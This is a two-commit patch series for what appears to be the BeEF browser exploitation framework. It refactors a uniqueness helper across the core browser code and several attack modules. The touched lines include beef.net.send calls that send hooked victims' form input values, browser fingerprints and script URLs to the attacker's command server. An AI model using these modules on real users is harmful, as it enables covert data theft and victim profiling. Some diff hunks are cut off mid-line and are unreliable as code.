From 4fc300ff87f52575fac1bb19635349e4b89a3cf3 Mon Sep 17 00:00:00 2001 From: Jack Walker Date: Mon, 6 Jul 2020 16:24:09 +1000 Subject: [PATCH 1/2] Replaced Array.prototype.unique with a cleaner jQuery equivalent --- core/main/client/browser.js | 16 ++++++++-------- docs/browser.js.html | 14 +++++++------- extensions/events/handler.rb | 2 +- .../browser/browser_fingerprinting/command.js | 13 ++++++------- .../hooked_domain/ajax_fingerprint/command.js | 14 +++++++------- .../hooked_domain/get_form_values/command.js | 2 +- 6 files changed, 30 insertions(+), 31 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index cfa0b7a77..2621918f0 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -3917,12 +3917,12 @@ beef.browser = { getPlugins: function () { var results; - Array.prototype.unique = function () { - var o = {}, i, l = this.length, r = []; - for (i = 0; i < l; i += 1) o[this[i]] = this[i]; - for (i in o) r.push(o[i]); - return r; - }; + + function unique(array) { + return $.grep(array, function(el, index) { + return index === $.inArray(el, array); + }); + } // Things lacking navigator.plugins if (!navigator.plugins) @@ -3941,8 +3941,8 @@ beef.browser = { // Sometimes store the version in description (Real, Adobe) else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description; } - results = results.unique().toString(); - + results = unique(results).toString(); + // All browsers that don't support navigator.plugins } else { results = new Array(); diff --git a/docs/browser.js.html b/docs/browser.js.html index 4c1f42545..16147f887 100644 --- a/docs/browser.js.html +++ b/docs/browser.js.html @@ -3944,12 +3944,12 @@ beef.browser = { getPlugins: function () { var results; - Array.prototype.unique = function () { - var o = {}, i, l = this.length, r = []; - for (i = 0; i < l; i += 1) o[this[i]] = this[i]; - for (i in o) r.push(o[i]); - return r; - }; + + function unique(array) { + return $.grep(array, function(el, index) { + return index === $.inArray(el, array); + }); + } // Things lacking navigator.plugins if (!navigator.plugins) @@ -3968,7 +3968,7 @@ beef.browser = { // Sometimes store the version in description (Real, Adobe) else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description; } - results = results.unique().toString(); + results = unique(results).toString(); // All browsers that don't support navigator.plugins } else { diff --git a/extensions/events/handler.rb b/extensions/events/handler.rb index 8dba1d909..189825d61 100644 --- a/extensions/events/handler.rb +++ b/extensions/events/handler.rb @@ -42,7 +42,7 @@ module Events # push events to logger logger = BeEF::Core::Logger.instance - events.each do |key,value| + events.each do |value| logger.register('Event', parse(value), zombie.id) end end diff --git a/modules/browser/browser_fingerprinting/command.js b/modules/browser/browser_fingerprinting/command.js index 54c7916e4..581f685ee 100644 --- a/modules/browser/browser_fingerprinting/command.js +++ b/modules/browser/browser_fingerprinting/command.js @@ -10,17 +10,16 @@ beef.execute(function() { var browser_version = new Array; var dom = document.createElement('b'); - Array.prototype.unique = function() { - var o = {}, i, l = this.length, r = []; - for(i=0; i", <%= @command_id %>, "browser_type="+browser_type.unique()+"&browser_version="+browser_version.unique()); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser_type="+unique(browser_type)+"&browser_version="+unique(browser_version)); }; // Browser fingerprints // in the form of: "URI","Browser","version(s)" diff --git a/modules/browser/hooked_domain/ajax_fingerprint/command.js b/modules/browser/hooked_domain/ajax_fingerprint/command.js index fc69b1cc3..a83de5f9c 100644 --- a/modules/browser/hooked_domain/ajax_fingerprint/command.js +++ b/modules/browser/hooked_domain/ajax_fingerprint/command.js @@ -11,12 +11,12 @@ beef.execute(function() { var results = []; var urls = ""; - Array.prototype.unique = function() { - var o = {}, i, l = this.length, r = []; - for(i=0; i0){ - urls=results.unique().join('||'); + urls=unique(results).join('||');a beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls); } else{ diff --git a/modules/browser/hooked_domain/get_form_values/command.js b/modules/browser/hooked_domain/get_form_values/command.js index 64a99c1a9..59d1f3fc2 100644 --- a/modules/browser/hooked_domain/get_form_values/command.js +++ b/modules/browser/hooked_domain/get_form_values/command.js @@ -25,7 +25,7 @@ beef.execute(function() { // return input field info if (input_values.length) { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(input_values.unique())); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(unique(input_values))); // return if no input fields were found } else { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=Could not find any inputs fields on '+window.location); From edda0188d523138a14e581b8f3d0a15237781300 Mon Sep 17 00:00:00 2001 From: Jack Walker Date: Mon, 6 Jul 2020 16:46:58 +1000 Subject: [PATCH 2/2] Removed typo (trailing a) missed in last commit --- modules/browser/hooked_domain/ajax_fingerprint/command.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/browser/hooked_domain/ajax_fingerprint/command.js b/modules/browser/hooked_domain/ajax_fingerprint/command.js index a83de5f9c..a5b75e7bd 100644 --- a/modules/browser/hooked_domain/ajax_fingerprint/command.js +++ b/modules/browser/hooked_domain/ajax_fingerprint/command.js @@ -69,7 +69,7 @@ beef.execute(function() { } } if(results.length >0){ - urls=unique(results).join('||');a + urls=unique(results).join('||'); beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls); } else{